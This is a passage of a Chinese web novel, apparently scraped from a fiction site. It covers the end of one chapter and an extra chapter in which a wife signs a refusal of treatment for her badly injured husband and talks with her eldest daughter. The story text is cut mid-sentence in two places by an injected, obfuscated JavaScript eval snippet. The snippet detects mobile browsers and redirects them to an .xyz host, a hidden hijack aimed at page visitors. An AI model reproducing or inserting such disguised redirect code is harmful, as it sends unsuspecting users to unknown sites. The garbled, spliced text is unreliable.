;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730163|157260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之鸟。 他每天出入高档场所,谈笑有鸿儒,往来无白丁,转身便收获崇拜倾慕无数,找回了自己的地位自信。 他每次一说话,身边所有人便肃容静听,无不追捧,找回了自己的权力自信。 他每天站着尿尿,情人和儿子环绕,找回了自己的性别自信。 他如此的意气风发、踌躇满志,他得到这一切理所当然,他又找回了他的思维逻辑。 作为女人的一切就是一场梦,偶尔想起其中的片段,不过付之一笑,便又投入到人类文明与发展的伟大课题中,后来,连片段都不再想起,如同每个醒来的清晨,将噩梦埋葬于昨夜的黑甜中。 手机提示音响起,岳金裙拿起一看,一个消息传了过来。 “岳专家,上次咱们讨论的代孕合法化和单身女性冻卵合法化的建议您完善好了没有?我们再探讨下?” 岳金裙思考半晌,终于敲下: “好,我再完善一下,择日我们再仔细讨论下。” 这一次,他一定会做得更加完美,筑好围栏,平稳过渡,让女人更加安分地接受。 26. 番外3:另一种结局[番外] 京都医院 ”单女士,您的丈夫岳先生伤得太重了,镜子碎片直接从眼睛进入了大脑,刚刚做手术取出来了,还需要在icu观察几天。 这一次对大脑组织伤害很大,患者极有可能会处于不可逆的深昏迷状态,也就是我们所说的植物人,您要有心理准备。” “好,等他脱离生命危险,我可以转入疗养院或者带回家照顾吗?” “这当然可以。” “赵医生,2床血压、心率急剧下降……” “单女士,您先在外面休息一下。”赵医生说完这句话就快速进了icu。 “岳金群家属在哪?”一位医生出来问道。 “我是,我是他的妻子。” “岳金裙病情恶化,需要二次手术,这是他的病危通知书和手术通知书,需要您签一下字。” “我不想签字,不治疗了。” “您确定不治疗了吗?” “对,不治疗了。” “那您需要在放弃治疗同意书上签字。” “好,我签。” “妈,爸爸怎么样了?”三个女儿下学后被送了过来,大女儿抱住了单女士,担心妈妈受打击过大。 “你们的爸爸已经无法治疗,我已经签字,待会就去火化,你们跟我去,送他最后一程。”刚刚一直在强撑着,单女士在女儿们面前,终于流下泪来。 三个女儿扑倒单女士怀里,哭得上气不接下气。 把二女儿和三女儿都打发去写作业,单女士和大女儿一起坐在走廊,四周无人。 “妈妈,爸爸真的没办法治 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730164|157260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吗?” “是的,我已经签了放弃治疗同意书了,待会医生会把他推出来,我已经联系火葬场了。” “妈妈,为什么放弃治疗?我们家也不是没钱啊?” “赵医生说他最好也是个植物人,刚刚他的情况又变坏了,所以我放弃治疗了,这对我们是最好的选择。女儿,你觉得妈妈太狠心了吗?” 大女儿细细看着妈妈,抱住了妈妈。 “不,妈妈,我赞同你的做法,我觉得爸爸太狠心了。我知道爸爸不只是我们三姐妹的爸爸,他在外面还有儿子和女儿,他还想要把财产都留给儿子。 但是妈妈只是我们三姐妹的妈妈,妹妹们还小,但是我已经长大了,我理解您。我一定会守护好妈妈,照顾好妹妹。” “好,谢谢女儿。”